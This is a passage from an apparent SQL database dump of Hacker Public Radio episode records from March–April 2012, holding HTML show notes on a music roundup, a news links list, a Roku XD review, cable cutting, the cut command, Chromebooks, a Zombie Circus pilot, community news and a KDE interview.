valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/185\">source</a> RetroVisoR by Ogg Vorbis <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/185/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/122\">source</a> Surprise Me by The Spirit Of Light <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/122/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/236\">source</a> Cyberpunks (Leaky Mix) by Partition36 <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/236/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/52\">source</a> Blue Sunny Day by Jonathan Coulton <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/52/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/7\">source</a> Remixing is OK by SpinMeister <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/7/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/96\">source</a> Soundtrack of our Summer by The League <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/96/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/6\">source</a> Dancing Nowhere by Mo0t <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/6/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/26\">source</a> Down In The City by Houdini Roadshow <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/26/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/272\">source</a> I\'m not dreaming by Josh Woodward <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/272/628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a><br/>\r\n<a href=\"https://cchits.net/track/81\">source</a> Strip=Teaser by Anniela <a title=\"Vote for this track at cchits.net\" href=\"https://cchits.net/vote/81showid=628\"><img width=\"16\" height=\"16\" src=\"https://www.thebugcast.org/wp-content/plugins/cchits-net/images/cchits-16.png\" style=\"border: 0px none;\" valign=\"middle\"/></a></p>\r\n<p>Intro/outro: <a href=\"https://ccmixter.org/people/scottaltham\">Scott Altham</a> - GMZ (<a href=\"https://cchits.net/theme\">more info</a>)</p>\r\n<p><b>Don\'t forget that CCHits posts new shows every single day. Go to <a href=\"https://cchits.net/\">cchits.net</a> for more info.</b>\r\n</p>\r\n',159,54,1,'CC-BY-SA','CCHits.net,music,creative commons',0,2287,1),
(950,'2012-03-24','TGTM Newscast for 2012/03/21 ',1152,'A newscast from Talk Geek to Me','\r\n<h2>TGTM Newscast for 2012/03/21 </h2>\r\n<p>Here is a news review:</p>\r\n<ul>\r\n  <li><a href=\"https://www.inthesetimes.com/working/entry/12894/not_all_labor_leaders_happy_with_afl-cios_obama_endorsement/\">Not All Labor Leaders Happy With AFL-CIO’s Obama Endorsement</a></li>\r\n  <li><a href=\"https://www.plri.org/hit-and-run\">Hit and Run</a></li>\r\n  <li><a href=\"https://peoplesworld.org/u-s-and-korea-implement-free-trade-agreement/\">U.S. and Korea implement free trade agreement</a></li>\r\n  <li><a href=\"https://www.allgov.com//ViewNews/Romneys_Bain_Capital_Helps_Chinese_Dictators_Monitor_Dissidents_120317\">Romney’s Bain Capital Helps Chinese Dictators Monitor Dissidents</a></li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120315/23155418121/elected-officials-get-average-1452-salary-increase-when-they-take-lobbying-job.shtml\">Elected Officials Get An Average 1,452% Salary Increase When They Take A Lobbying Job</a></li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/03/jones-decision-banning-warrantless-use-gps-devices-starting-percolate\">Supreme Court Decision on GPS Surveillance Sparking Good Court Rulings</a></li>\r\n  <li><a href=\"https://torrentfreak.com/isps-to-begin-punishing-bittorrent-pirates-this-summer-120315/\">ISPs To Begin Punishing BitTorrent Pirates This Summer</a></li>\r\n  <li><a href=\"https://torrentfreak.com/domain-registrar-confirms-new-pirate-bay-investigation-120314/\">Domain Registrar Confirms New Pirate Bay Investigation</a></li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120316/12522618142/this-american-life-retracts-entire-episode-about-apple-factories-after-mike-daisey-admits-to-fabricating-parts-story.shtml\">This American Life Retracts Entire Episode About Apple Factories After Mike Daisey Admits To Fabricating Parts Of The Story</a></li>\r\n  <li><a href=\"https://torrentfreak.com/megaupload-seizure-order-null-and-void-says-high-court-120318/\">Megaupload Seizure Order “Null and Void” Says High Court</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n  <li><a href=\"https://www.indybay.org/newsitems/2012/03/17/18709481.php\">LONGVIEW: Snatching Defeat    From The Jaws Of Victory</a></li>\r\n  <li><a href=\"https://icelandreview.com/icelandreview/daily_news/?cat_id=29314&amp;ew_0_a_id=388298\">State Prosecutor’s Closing Arguments</a></li>\r\n  <li><a href=\"https://maggiemcneill.wordpress.com/2012/03/16/interview-stanley-siegel/\">Interview: Stanley Siegel</a></li>\r\n  <li><a href=\"https://www.havanatimes.org/?p=64562\">The Long Road to Socialism in Cuba</a></li>\r\n  <li><a href=\"https://www.bbc.co.uk/news/technology-17345935\">Yahoo sues Facebook over 10 disputed patents in the US</a></li>\r\n</ul>\r\n<p>News from \"inthesetimes.com, \" \"techdirt.com,\" Audio of \"Moment of Clarity #124,\" and \"allgov.com\" used under&nbsp;arranged permission. News from&nbsp;\"eff.org\"&nbsp; and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution&nbsp;license. News from \"peoplesworld.org,\" and \"plri.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license.</p> \r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.inthesetimes.com/working/entry/12894/not_all_labor_leaders_happy_with_afl-cios_obama_endorsement/\">https://www.inthesetimes.com/working/entry/12894/not_all_labor_leaders_happy_with_afl-cios_obama_endorsement/</a></li>                               \r\n<li><a href=\"https://www.plri.org/hit-and-run\">https://www.plri.org/hit-and-run</a></li>                                                                                                                                                                                         \r\n<li><a href=\"https://peoplesworld.org/u-s-and-korea-implement-free-trade-agreement/\">https://peoplesworld.org/u-s-and-korea-implement-free-trade-agreement/</a></li>                                                                                                             \r\n<li><a href=\"https://www.allgov.com//ViewNews/Romneys_Bain_Capital_Helps_Chinese_Dictators_Monitor_Dissidents_120317\">https://www.allgov.com//ViewNews/Romneys_Bain_Capital_Helps_Chinese_Dictators_Monitor_Dissidents_120317</a></li>                                           \r\n<li><a href=\"https://www.techdirt.com/articles/20120315/23155418121/elected-officials-get-average-1452-salary-increase-when-they-take-lobbying-job.shtml\">https://www.techdirt.com/articles/20120315/23155418121/elected-officials-get-average-1452-salary-increase-when-they-take-lobbying-job.shtml</a></li>                                                                                                                                                                                                                                                  \r\n<li><a href=\"https://www.eff.org/deeplinks/2012/03/jones-decision-banning-warrantless-use-gps-devices-starting-percolate\">https://www.eff.org/deeplinks/2012/03/jones-decision-banning-warrantless-use-gps-devices-starting-percolate</a></li>                                 \r\n<li><a href=\"https://torrentfreak.com/isps-to-begin-punishing-bittorrent-pirates-this-summer-120315/\">https://torrentfreak.com/isps-to-begin-punishing-bittorrent-pirates-this-summer-120315/</a></li>                                                                           \r\n<li><a href=\"https://torrentfreak.com/domain-registrar-confirms-new-pirate-bay-investigation-120314/\">https://torrentfreak.com/domain-registrar-confirms-new-pirate-bay-investigation-120314/</a></li>                                                                           \r\n<li><a href=\"https://www.techdirt.com/articles/20120316/12522618142/this-american-life-retracts-entire-episode-about-apple-factories-after-mike-daisey-admits-to-fabricating-parts-story.shtml\">https://www.techdirt.com/articles/20120316/12522618142/this-american-life-retracts-entire-episode-about-apple-factories-after-mike-daisey-admits-to-fabricating-parts-story.shtml</a></li>                                                                                                                                                                      \r\n<li><a href=\"https://torrentfreak.com/megaupload-seizure-order-null-and-void-says-high-court-120318/\">https://torrentfreak.com/megaupload-seizure-order-null-and-void-says-high-court-120318/</a></li>                                                                           \r\n<li><a href=\"https://www.indybay.org/newsitems/2012/03/17/18709481.php\">https://www.indybay.org/newsitems/2012/03/17/18709481.php</a></li>                                                                                                                                       \r\n<li><a href=\"https://icelandreview.com/icelandreview/daily_news/?cat_id=29314&amp;ew_0_a_id=388298\">https://icelandreview.com/icelandreview/daily_news/?cat_id=29314&amp;ew_0_a_id=388298</a></li>                                                                               \r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/03/16/interview-stanley-siegel/\">https://maggiemcneill.wordpress.com/2012/03/16/interview-stanley-siegel/</a></li>                                                                                                         \r\n<li><a href=\"https://www.havanatimes.org/?p=64562\">https://www.havanatimes.org/?p=64562</a></li>                                                                                                                                                                                 \r\n<li><a href=\"https://www.bbc.co.uk/news/technology-17345935\">https://www.bbc.co.uk/news/technology-17345935</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,2205,1),
(951,'2012-03-25','Roku XD box',505,'A review of the Roku XD digital media player device','<p>\r\nI recently bought a roku XD box and I want to do a little review for you guys. First I would like to say that we have basic cable, and werent really looking to become \"cord cutters\". You can check out the roku site at <a href=\"https://www.roku.com\">www.roku.com</a>.</p>\r\n<p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/d/d7/Roku_XDS_with_Remote.jpg\" alt=\"Roku XD with remote\" width=400 />\r\n</p>\r\n<p>\r\nFirst I bought it from Best buy for 79.99 I think it was 84 dollars with tax. First I cant believe how tiny this thing is! When you open the box, you have the device, a remote and some RCA AV Cables. The XD also only works with wireless internet. The one I bought does have a HDMI port on it. It works great and does Netflix and other services like Amazon and Hulu Plus. \r\n</p>\r\n<p>\r\nYou sign up for a roku account on the website and associate the roku box to that account. Which is close to what you do with most media type boxes nowadays like blueray players and stuff. The only difference is those devices only give you content from a couple places. The roku actually has channels, that you can add to your roku box. I have added many channels on it and I am watching lots of content from the web. With services like Popcorn flix, which shows you movies and during those movies there are some commercials. They arent really that bad its like 1 commercial when they show it. It is always the same commercial though. Which kinda gets annoying. \r\n</p>\r\n<p>\r\nI use Netflix, and Crackle on it was well. There are lots of news channels like NBC also I know that MLB and I think NHL have channels too. I was amazed at the selection of channels on the device. It would be nice if the roku site had a listing of all private channels. As it is hard to search the internet to find a list, then add the code on the roku site only to find out that the channel code doesn\'t work anymore. There really are so many channels that you can add it is hard to explain them all. \r\n</p>\r\n<p>\r\nMy wife and I both have android phones and we installed the roku remote control app which works great! As long as you are on the same wifi network as the roku you can control it. My wife is using the roku box for netflix and other services more than our blueray players because she likes the interface to netflix better. She says that just getting around the netflix channel is just so much easier! I even found a mythtv channel. All in all I am real happy with the Roku box and would recomend it to anyone to supplement their basic cable package. I think it really goes hand in hand with a basic cable or HD Antenna where you can get your network channels, but still get a lot of the extra content for free or a reasonable price. </p>\r\n<p>\r\nI will say that I would like to try Hulu Plus and see if I can slowly wean myself from Cable or HD Antenna. I really doubt it because of the way the cable companies are in the US. Right now since I get my internet from the cable company (Charter) if I get basic Digital television with it then I actually get the two of them for a cheaper price than if I just got the cable internet from them. I would like to end by saying that I know I have only mentioned a few of the channels that roku offers but there really are so many of them and they are scattered in many places that it is tough to know about them all. So if you want you can email me james.middendorff@gmail.com I am on google+ as well. </p>\r\n<p>\r\n\r\nThanks\r\n',94,0,1,'CC-BY-SA','Roku,digital media player',0,2290,1),
(952,'2012-03-27','How I cut The Cable Cord Part 2',368,'Part 2 of the cable cutting series','<p>\r\nHello HPR,<br />\r\nJust BrocktonBob here again with part 2 of How I Cut The Cable Cord.<br />\r\nIn this episode I talk about adding a second set top box, and getting the\r\nPlayon Server software on a computer so you can get a lot more content. I also\r\ntalk to you about adding an external harddrive. And how I made my own HD tv\r\nantenna.\r\n</p>\r\n',202,0,1,'CC-BY-SA','internet streaming,antenna',0,2292,1),
(953,'2012-03-28','LiTS 003: cut',691,'Using the <em>cut</em> command','<p>\r\nIn the third in his series Dann, shows us the benefits of the cut command:\r\n</p>\r\n<p>\r\n<em>\r\nThe cut command, as the man page states, \"removes sections from each line of a file.\" The cut command can also be used on a stream and it can do more than just remove section.  If a file is not specified or \"-\" is used, the cut command takes input from standard in. The cut command can be used to extract sections from a file or stream based upon a specific criteria.  An example of this would be cutting specific fields from a csv (comma separated values) file.  For instance, cut can be used to extract the name and email address from a csv file with the following content:\r\n</em>\r\n</p>\r\n<p>\r\n<a href=\"https://www.linuxintheshell.com/2012/03/28/episode-003-cut/\">https://www.linuxintheshell.com/2012/03/28/episode-003-cut/</a> for the complete shownotes, including video.\r\n</p>\r\n',7,67,1,'CC-BY-SA','cut',0,2627,1),
(954,'2012-03-28','All Things Chrome',1444,'The Chromebook and ChromeOS','<p>Cast your minds back to Summer 2011, when Google Plus still looked like a good idea, before the HP Touchpad came and went in a fire sale and before the Euro debt crisis turned into a Keystone Cops movie.</p>\r\n\r\n<p>A presenter formerly of this parish, one Ed Hewitt, went out and bought himself a new toy; a Samsung Chromebook. ChromeOS marches on, but for how long? I stand back and referee as Ed and Dave Wilkins, fight it out.</p>\r\n\r\n<p>The Full Circle Podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n\r\n<ul>\r\n<li><strong>Robin Catling</strong> (blog at <a target=\"_blank\" href=\"https://catlingmindswipe.blogspot.com/\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n<li><strong>Ed Hewitt</strong> (blog at <a href=\"https://www.edhewitt.co.uk/\">https://www.edhewitt.co.uk/</a>, @edhewitt on Twitter)</li>\r\n<li><strong>Dave Wilkins</strong> (…had to go cook the dinner. @davidawilkins on Twitter)</li>\r\n</ul>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 24mins 0seconds</p>\r\n',160,0,1,'CC-BY-SA','Full Circle Podcast',0,2166,1),
(955,'2012-03-29','Zombie Circus 00 - Pilot',4153,'A no-holds-barred discussion that might be a series pilot','<p>Zombie Circus 00 - Pilot</p>\r\n<p>Recorded: 20120204</p>\r\n<p>Cast: Azimuth, monsterb, pegwole, Peter64, Sndchaser, Threethirty</p>\r\n<p>Music: <a href=\"https://www.musicalley.com/music/producers/producerLibrary/artistdetails.php?BandHash=772ecf06f0581a80b23f1d73a702afdf\">Beware The Dangers Of A Ghost Scorpion - Zombie Dance Party</a></p>\r\n<h3>Links:</h3>\r\n<ul>\r\n<li><a href=\"https://www.desura.com/\">Desura</a></li>\r\n<li><a href=\"https://fedoraproject.org/wiki/FUDCon\">FUDCon: Fedora Users and Developers Conference</a></li>\r\n<li><a href=\"https://www.itworld.com/cloud-computing/245639/homeland-security-deports-tourists-twitter-jokes\">Homeland Security deports tourists for Twitter jokes.</a></li>\r\n<li><a href=\"https://www.galaxyzoo.org/\">Galaxy Zoo</a></li>\r\n<li><a href=\"https://www.nasa.gov/offices/education/programs/national/ltp/games/moonbasealpha/index.html\">Moonbase Alpha</a></li>\r\n<li><a href=\"https://androidcommunity.com/nsa-releases-ultra-secure-open-source-android-derivative-20120117/\">NSA releases ultra-secure open source Android derivative.</a></li>\r\n<li><a href=\"https://www.planethunters.org/\">Planet Hunters</a></li>\r\n<li><a href=\"https://tech2.in.com/news/tablets/previous-owners-data-found-on-100-motorola-xoom-tablets-sold-online/278922\">Previous owners data found on 100 Motorola Xoom tablets sold online.</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a></li>\r\n<li><a href=\"https://sourceforge.net/projects/rebeccablackos/\">Rebecca Black Linux</a></li>\r\n<li><a href=\"https://store.steampowered.com/\">Steam</a></li>\r\n<li><a href=\"https://www.thesun.co.uk/sol/homepage/news/4095372/Twitter-news-US-bars-friends-over-Twitter-joke.html\">US bars friends over Twitter joke.</a></li>\r\n<li><a href=\"https://www.winehq.org/\">WineHQ</a></li>\r\n</ul>\r\n<br />\r\n<p>More info can be found at <a href=\"https://oggcastplanet.org/zombiecircus/\">Zombie Circus</a></p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.musicalley.com/music/producers/producerLibrary/artistdetails.php?BandHash=772ecf06f0581a80b23f1d73a702afdf\">https://www.musicalley.com/music/producers/producerLibrary/artistdetails.php?BandHash=772ecf06f0581a80b23f1d73a702afdf</a></li>\r\n<li><a href=\"https://www.desura.com/\">https://www.desura.com/</a></li>\r\n<li><a href=\"https://fedoraproject.org/wiki/FUDCon\">https://fedoraproject.org/wiki/FUDCon</a></li>\r\n<li><a href=\"https://www.itworld.com/cloud-computing/245639/homeland-security-deports-tourists-twitter-jokes\">https://www.itworld.com/cloud-computing/245639/homeland-security-deports-tourists-twitter-jokes</a></li>\r\n<li><a href=\"https://www.galaxyzoo.org/\">https://www.galaxyzoo.org/</a></li>\r\n<li><a href=\"https://www.nasa.gov/offices/education/programs/national/ltp/games/moonbasealpha/index.html\">https://www.nasa.gov/offices/education/programs/national/ltp/games/moonbasealpha/index.html</a></li>\r\n<li><a href=\"https://androidcommunity.com/nsa-releases-ultra-secure-open-source-android-derivative-20120117/\">https://androidcommunity.com/nsa-releases-ultra-secure-open-source-android-derivative-20120117/</a></li>\r\n<li><a href=\"https://www.planethunters.org/\">https://www.planethunters.org/</a></li>\r\n<li><a href=\"https://tech2.in.com/news/tablets/previous-owners-data-found-on-100-motorola-xoom-tablets-sold-online/278922\">https://tech2.in.com/news/tablets/previous-owners-data-found-on-100-motorola-xoom-tablets-sold-online/278922</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/\">https://www.raspberrypi.org/</a></li>\r\n<li><a href=\"https://sourceforge.net/projects/rebeccablackos/\">https://sourceforge.net/projects/rebeccablackos/</a></li>\r\n<li><a href=\"https://store.steampowered.com/\">https://store.steampowered.com/</a></li>\r\n<li><a href=\"https://www.thesun.co.uk/sol/homepage/news/4095372/Twitter-news-US-bars-friends-over-Twitter-joke.html\">https://www.thesun.co.uk/sol/homepage/news/4095372/Twitter-news-US-bars-friends-over-Twitter-joke.html</a></li>\r\n<li><a href=\"https://www.winehq.org/\">https://www.winehq.org/</a></li>\r\n<li><a href=\"https://oggcastplanet.org/zombiecircus/\">https://oggcastplanet.org/zombiecircus/</a></li>\r\n</ul>\r\n',109,0,1,'CC-BY-SA','zombies',0,2358,1),
(956,'2012-04-01','HPR Community News for Feb 2012',4554,'HPR Community News for Feb 2012','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: <br/>\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=208\">Digital Maniac</a>, <br/>\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\">David Whitman</a>, <br/>\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=210\">Neodragon</a>, <br/>\r\nand all the <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=211\">ZombieMasters</a>.\r\n<br />\r\nIf you would like to become a HPR host then please head over to <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a>\r\n</p>\r\n<h2><a href=\"https://hackerpublicradio.org/cc.php?sort=desc&min=871&max=915\">Show Review</a></h2>\r\n<table>\r\n<thead><tr>\r\n<th class=\"condition\">id\r\n</th><th>title\r\n</th><th>host\r\n</th></tr>\r\n</thead>\r\n        <tbody>\r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">936</td>\r\n<td  class=\"data inline_edit not_null odd  \">Monthly Review show 2012 Feb</td>\r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">937</td>\r\n<td  class=\"data inline_edit not_null even  \">How I started with linux</td>\r\n<td  class=\"data inline_edit not_null even  \">riddlebox</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">938</td>\r\n<td  class=\"data inline_edit not_null odd   truncated\">Cloning Windows WiFi Profiles and Installing Skype...</td>\r\n<td  class=\"data inline_edit not_null odd  \">FiftyOneFifty</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">939</td>\r\n<td  class=\"data inline_edit not_null even  \">Sunday Morning Linux Review: Episode 021</td>\r\n<td  class=\"data inline_edit not_null even  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">940</td>\r\n<td  class=\"data inline_edit not_null odd  \">TGTM Tech News for 2012-03-07</td>\r\n<td  class=\"data inline_edit not_null odd  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">941</td>\r\n<td  class=\"data inline_edit not_null even  \">Whats in my bag / Portable Apps</td>\r\n<td  class=\"data inline_edit not_null even  \">Digital Maniac</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">942</td>\r\n<td  class=\"data inline_edit not_null odd  \">Zentyal Linux Small Business Server</td>\r\n<td  class=\"data inline_edit not_null odd  \">riddlebox</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">943</td>\r\n<td  class=\"data inline_edit not_null even  \">Freedom is not Free 2 - Bugs</td>\r\n<td  class=\"data inline_edit not_null even  \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">944</td>\r\n<td  class=\"data inline_edit not_null odd  \">LITS: Episode 002 - tr</td>\r\n<td  class=\"data inline_edit not_null odd  \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">945</td>\r\n<td  class=\"data inline_edit not_null even  \">TGTM Tech News for 2012-03-14</td>\r\n<td  class=\"data inline_edit not_null even  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">946</td>\r\n<td  class=\"data inline_edit not_null odd   truncated\">HPR Interview David Whitman with Carl Symons and J...</td>\r\n<td  class=\"data inline_edit not_null odd  \">David Whitman</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">947</td>\r\n<td  class=\"data inline_edit not_null even   truncated\">Presentation by Jared Smith at the Columbia Area L...</td>\r\n<td  class=\"data inline_edit not_null even  \">Neodragon</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">948</td>\r\n<td  class=\"data inline_edit not_null odd  \">Exchanging Data Podcast 2</td>\r\n<td  class=\"data inline_edit not_null odd  \">dmfrey</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">949</td>\r\n<td  class=\"data inline_edit not_null even  \">The cchits 2011 overview</td>\r\n<td  class=\"data inline_edit not_null even  \">HPR Admins</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">950</td>\r\n<td  class=\"data inline_edit not_null odd  \">TGTM Newscast for 2012/03/21 </td>\r\n<td  class=\"data inline_edit not_null odd  \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">951</td>\r\n<td  class=\"data inline_edit not_null even  \">Roku XD box</td>\r\n<td  class=\"data inline_edit not_null even  \">riddlebox</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">952</td>\r\n<td  class=\"data inline_edit not_null odd  \">How I cut The Cable Cord Part 2</td>\r\n<td  class=\"data inline_edit not_null odd  \">BrocktonBob</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">953</td>\r\n<td  class=\"data inline_edit not_null even  \">LITS: Episode 003 - cut</td>\r\n<td  class=\"data inline_edit not_null even  \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">954</td>\r\n<td  class=\"data inline_edit not_null odd  \">All Things Chrome</td>\r\n<td  class=\"data inline_edit not_null odd  \">Robin Catling</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">955</td>\r\n<td  class=\"data inline_edit not_null even  \">Zombie Circus 00 - Pilot</td>\r\n<td  class=\"data inline_edit not_null even  \">ZombieMaster</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n\r\n<h2>Other items</h2>\r\n<p>HPR site was down for a few hours on 2/March but Josh had it back in a few hours</p>\r\n<p>\r\nDavid Whitman writes to say that he will be having a table at <a href=\"https://linuxfestnorthwest.org/sponsors\">https://linuxfestnorthwest.org/sponsors</a> and he is still looking for volunteers to help out or even be the \'Big Cheese\'.\r\n</p>\r\n<p>\r\nSome bad news from the HeliOS project, <a href=\"https://www.fixedbylinux.com/about\">https://www.fixedbylinux.com/about</a>\r\n</p>\r\n<p>\r\nHPR Images, can you send your feedback to the list\r\n</p>\r\n<p>\r\nHaxradio.com is airing HPR episodes regularly\r\n</p>\r\n<p>\r\nWere we having FTP login Issues ?\r\n</p>\r\n<p>\r\nNELF Talk\r\n</p>\r\n<p>\r\nDavid Whitman made us buttons\r\n</p>\r\n<p>\r\nHPR vetting policy relating to adult, political, etc....<br />\r\nWe <strong>don\'t have one</strong>\r\n</p>\r\n\r\n<h2>Episode 1000 and 1024</h2>\r\n<p>\r\nWe should come up with an idea to celebrate Ep1000 ?<br />\r\nAnswer = <strong>YES</strong>\r\n</p>\r\n<p>\r\nFor episode 1000 we will be gathering a sample of community members emailing their congratulations but for episode 1024 :) \r\n</p>\r\n<p>\r\nFiftyOneFifty will be coordinating a EPIC \"live\" show so please email your contributions to ep1k@hackerpublicradio.org\r\n</p>\r\n',159,47,1,'CC-BY-SA','Community News',0,2154,1),
(957,'2012-04-02','Freedom is not Free 3 - Documentation',1371,'Part 3 of the \"Freedom is not Free\" series','<a href=\"https://ohiolinux.org/node/186\">https://ohiolinux.org/node/186</a><br />\r\n<a href=\"https://www.zwilnik.com\">https://www.zwilnik.com</a>',198,69,1,'CC-BY-SA','FOSS,FLOSS,technical documentation,end-user documentation,translation',0,2285,1),
(958,'2012-04-03','KDE Gathering - Plasma Active - THE Tablet',1396,'An interview with Carl Symons and John Blanford: all things KDE','<p>\r\nKDE will get hosting a regional meeting of KDE for the Northwestern United States April 28 and 29, 2012 at LinuxFest Northwest \r\n<a href=\"https://linuxfestnorthwest.org\">https://linuxfestnorthwest.org</a>\r\n</p>\r\n<p>\r\nAkademy 2012<br/>\r\n30th June - 6th July 2012, Tallinn, Estonia<br/>\r\n<a href=\"https://akademy.kde.org/\">https://akademy.kde.org/</a>\r\n</p>\r\n<p>\r\nKDE is 15 years old. <br/>\r\nKool Desktop Environment\r\n</p>\r\n<p>\r\nKDE desktop is called the Plasma Workspace<br/>\r\nPlasma Workspaces is the umbrella term for all graphical environments provided by KDE. (from Wikipedia)\r\n</p>\r\n<p>\r\nOwncloud \r\n<a href=\"https://owncloud.org/\">https://owncloud.org/</a>\r\n</p>\r\n<p>\r\nKrita - Painting and Image Editing\r\n<a href=\"https://www.kde.org/applications/graphics/krita/\">https://www.kde.org/applications/graphics/krita/</a>\r\n</p>\r\n<p>\r\nThis OS is open unlike other tablet operating systems.<br/>\r\nplasma-active.org\r\n</p>\r\n<p>\r\n<a href=\"https://makeplaylive.com/\">https://makeplaylive.com/</a>\r\nVivaldi Tablet\r\n</p>\r\n<p>\r\nAnyone can attend this KDE gathering which is co-located with LinuxFest Northwest\r\nPlasma Active is not locked down and has office applications\r\n</p>\r\n<p>\r\nCalligra 